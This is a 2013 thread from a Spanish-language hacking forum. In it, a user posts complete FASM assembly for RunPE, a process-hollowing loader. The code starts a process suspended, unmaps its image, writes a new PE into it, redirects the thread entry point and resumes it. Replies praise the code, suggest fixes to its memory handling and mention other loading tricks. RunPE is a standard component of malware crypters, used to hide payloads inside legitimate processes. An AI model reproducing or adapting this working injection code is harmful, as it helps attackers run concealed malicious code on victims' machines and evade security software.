send
Grupo de Telegram
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

RunPE FASM

  • 4 Respuestas
  • 3930 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado Juan

  • *
  • Underc0der
  • Mensajes: 159
  • Actividad:
    0%
  • Reputación 0
  • Ex-Drinky
    • Ver Perfil
« en: Mayo 18, 2013, 11:53:57 am »
Nunca encontre ningún RunPE en FASM que funcionase asique al final me decidi por programarlo yo:

Código: ASM
  1. ; // RunPE
  2. ; // Programado por Juan fary (mDrinky)
  3. ; // drinky.94@hotmail.com
  4.  
  5. format PE GUI 4.0
  6. include 'win32ax.inc'
  7. entry start
  8.  
  9. section '.data' readable writeable
  10.  
  11.         struct CONTEXT
  12.                ContextFlags             dd ?
  13.                Dr0                      dd ?
  14.                Dr1                      dd ?
  15.                Dr2                      dd ?
  16.                Dr3                      dd ?
  17.                Dr6                      dd ?
  18.                Dr7                      dd ?
  19.                FloatSave                dd ?
  20.                SegGs                    dd ?
  21.                SegFs                    dd ?
  22.                SegEs                    dd ?
  23.                SegDs                    dd ?
  24.                Edi                      dd ?
  25.                Esi                      dd ?
  26.                Ebx                      dd ?
  27.                Edx                      dd ?
  28.                Ecx                      dd ?
  29.                Eax                      dd ?
  30.                Ebp                      dd ?
  31.                Eip                      dd ?
  32.                SegCs                    dd ?
  33.                EFlags                   dd ?
  34.                Esp                      dd ?
  35.                SegSs                    dd ?
  36.                ExtendedRegisters        rb 512
  37.         ends
  38.  
  39.         calc            db 'c:\windows\system32\calc.exe',0
  40.         bleidos         dd 0
  41.         Datos           dd 0
  42.         Espacio         dd 0
  43.  
  44.         _SI                   STARTUPINFO ?
  45.         _PI                   PROCESS_INFORMATION ?
  46.         CTX                   CONTEXT ?
  47.  
  48.         Param2          dd 0
  49.  
  50.         ; Datos PE
  51.         imagebase       dd ?
  52.         sizeofheaders   dd ?
  53.         sizeofimage     dd ?
  54.         numseciones     dd ?
  55.  
  56.  
  57. section '.code' executable readable writeable
  58. start:
  59.         invoke CreateProcessA,calc,0,0,0,FALSE,CREATE_SUSPENDED,0,0,_SI,_PI
  60.  
  61.         invoke CreateFileA,calc, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0      ; nos autoleemos
  62.         mov ebx,eax
  63.         invoke GetFileSize,ebx,0
  64.         mov edi,eax
  65.         invoke GlobalAlloc,GPTR,edi
  66.         push eax
  67.         invoke ReadFile,ebx,eax,edi,addr bleidos,0
  68.         invoke CloseHandle,ebx
  69.         pop eax
  70.  
  71.         mov [Datos],eax
  72.  
  73.         cmp word[eax],'MZ'
  74.         jne salir
  75.  
  76.         add eax,dword[eax+0x3C]  ; PE
  77.  
  78.         cmp word[eax],'PE'
  79.         jne salir
  80.  
  81.         push dword[eax+0x34] ; imagebase
  82.         pop [imagebase]
  83.  
  84.         push dword[eax+0x54] ; sizeofheaders
  85.         pop [sizeofheaders]
  86.  
  87.         push dword[eax+0x50]
  88.         pop [sizeofimage]    ; sizeofimage
  89.  
  90.         movzx ebx,word[eax+0x6] ; numero de secciones
  91.         mov [numseciones],ebx
  92.  
  93.         push eax  ; guardamos ya EAX para el final
  94.  
  95.         push eax
  96.         invoke NtUnmapViewOfSection,[_PI.hProcess],[imagebase]
  97.         invoke VirtualAllocEx,[_PI.hProcess],[imagebase],[sizeofimage],0x3000, PAGE_EXECUTE_READWRITE
  98.         mov [Espacio],eax
  99.         invoke WriteProcessMemory,[_PI.hProcess],eax,[Datos],[sizeofheaders],0
  100.         pop eax
  101.  
  102.         mov ecx,0
  103.  
  104.         add eax,0xF8 ; posicionamos en las cabeceras de seccion
  105.  
  106.         EscribirSecciones:
  107.  
  108.         inc ecx
  109.  
  110.         push ecx
  111.         push eax
  112.  
  113.         mov ebx,eax
  114.         mov ebx,dword[ebx+0xC]      ; imagebase
  115.         add ebx,[imagebase]
  116.  
  117.         mov [Param2],ebx
  118.  
  119.         mov ebx,eax
  120.         mov ebx,dword[ebx+0x14]
  121.         mov edx,[Datos]
  122.         add edx,ebx
  123.  
  124.         mov ebx,eax
  125.         mov ebx,dword[ebx+0x10]
  126.  
  127.         invoke WriteProcessMemory,[_PI.hProcess],[Param2],edx,ebx,0
  128.  
  129.         pop eax
  130.         pop ecx
  131.  
  132.         add eax,0x28  ; Siguiente IMAGE_SECTION_HEADER
  133.  
  134.         cmp ecx,[numseciones]
  135.         jne EscribirSecciones
  136.  
  137.         invoke GetThreadContext,[_PI.hProcess],CTX
  138.  
  139.         invoke WriteProcessMemory,[_PI.hProcess],dword[CTX.Ebx+8],imagebase,0x4,0
  140.  
  141.         pop eax
  142.  
  143.         add eax,dword[eax+0x3C]
  144.         mov eax,dword[eax+0x28]
  145.  
  146.         mov [CTX.Eax],eax ; EntryPoint
  147.  
  148.         invoke SetThreadContext,[_PI.hProcess],CTX
  149.  
  150.         invoke ResumeThread,[_PI.hThread]
  151.  
  152.         salir:
  153.         ret
  154.  
  155. section '.idata' import data readable writeable
  156.         library NTDLL,'NTDLL.DLL',\
  157.                 KERNEL32,'KERNEL32.DLL'
  158.  
  159.         import KERNEL32,\
  160.                 CreateProcessA,'CreateProcessA',\
  161.                 CreateFileA,'CreateFileA',\
  162.                 GetFileSize,'GetFileSize',\
  163.                 GlobalAlloc,'GlobalAlloc',\
  164.                 ReadFile,'ReadFile',\
  165.                 CloseHandle,'CloseHandle',\
  166.                 VirtualAllocEx,'VirtualAllocEx',\
  167.                 WriteProcessMemory,'WriteProcessMemory',\
  168.                 GetThreadContext,'GetThreadContext',\
  169.                 SetThreadContext,'SetThreadContext',\
  170.                 ResumeThread,'ResumeThread'
  171.  
  172.         import NTDLL,NtUnmapViewOfSection,'NtUnmapViewOfSection'

un saludo!


Desconectado Sanko

  • *
  • Underc0der
  • Mensajes: 541
  • Actividad:
    0%
  • Reputación 0
  • ¿Puedes?
    • Ver Perfil
    • Underc0de
« Respuesta #1 en: Mayo 18, 2013, 12:37:24 pm »
grande Drinky
Sigueme en Twitter : @Sankosk
Estos nuevos staff no tienen puta idea XD

Desconectado Danyfirex

  • *
  • Underc0der
  • Mensajes: 22
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #2 en: Mayo 19, 2013, 09:12:33 pm »
Muy bonito para aprender  ;D gracias mDrinky. a analizar un poco :)

Desconectado Vermillion

  • *
  • Underc0der
  • Mensajes: 3
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #3 en: Julio 16, 2013, 04:59:57 pm »
Es recomendable utilizar funciones Heap, debido a que las funciones Global fueron implementadas para compatibilidad con aplicaciones de 16 bits e internamente hacen llamadas a sus contrapartes Heap.

Pasando al resto del código, existen mejores formas de mapear un PE, y podrías definir algunas estructuras por lo menos. También me llama la atención que te interese liberar un handle, pero no liberar el buffer de memoria.

Leer el archivo entero en un solo ReadFile() es ineficaz en caso de que no sea PE, o si nos encontrásemos en algún contexto en el cual siempre recibiremos un PE, ¿para qué verificar los word 'MZ' o 'PE'?.
« Última modificación: Julio 16, 2013, 05:59:14 pm por Vermillion »

Desconectado Karcrack

  • *
  • Underc0der
  • Mensajes: 87
  • Actividad:
    0%
  • Reputación 0
  • Se siente observado ¬¬'
    • Ver Perfil
« Respuesta #4 en: Julio 16, 2013, 07:26:11 pm »
Buen código, gracias por compartir ;D

Si hay cargar un PE desde ASM y no necesites fwb yo siempre utilizo la técnica de cambiar tu baseaddr para poder cargar el PE en tu propio proceso sin necesidad de sección reloc :)
I code for $$$.

(PGP ID 0xCC050E77)
ASM, C, C++, VB6... skilled [malware] developer

 

¿Te gustó el post? COMPARTILO!



[MASM] Shellcode RunPE

Iniciado por ANTRAX

Respuestas: 0
Vistas: 2940
Último mensaje Junio 05, 2012, 04:44:43 pm
por ANTRAX
RunPE NASM

Iniciado por ragaza

Respuestas: 0
Vistas: 706
Último mensaje Abril 04, 2018, 06:01:24 am
por ragaza
[FASM] Simple Memory Code Injection

Iniciado por ANTRAX

Respuestas: 0
Vistas: 2396
Último mensaje Junio 05, 2012, 04:43:46 pm
por ANTRAX
[FASM] Ascii85 decode

Iniciado por Karcrack

Respuestas: 0
Vistas: 1816
Último mensaje Junio 16, 2013, 06:13:38 pm
por Karcrack
Subclasificando una ventana FASM

Iniciado por linkgl

Respuestas: 0
Vistas: 2284
Último mensaje Diciembre 24, 2012, 08:08:49 pm
por linkgl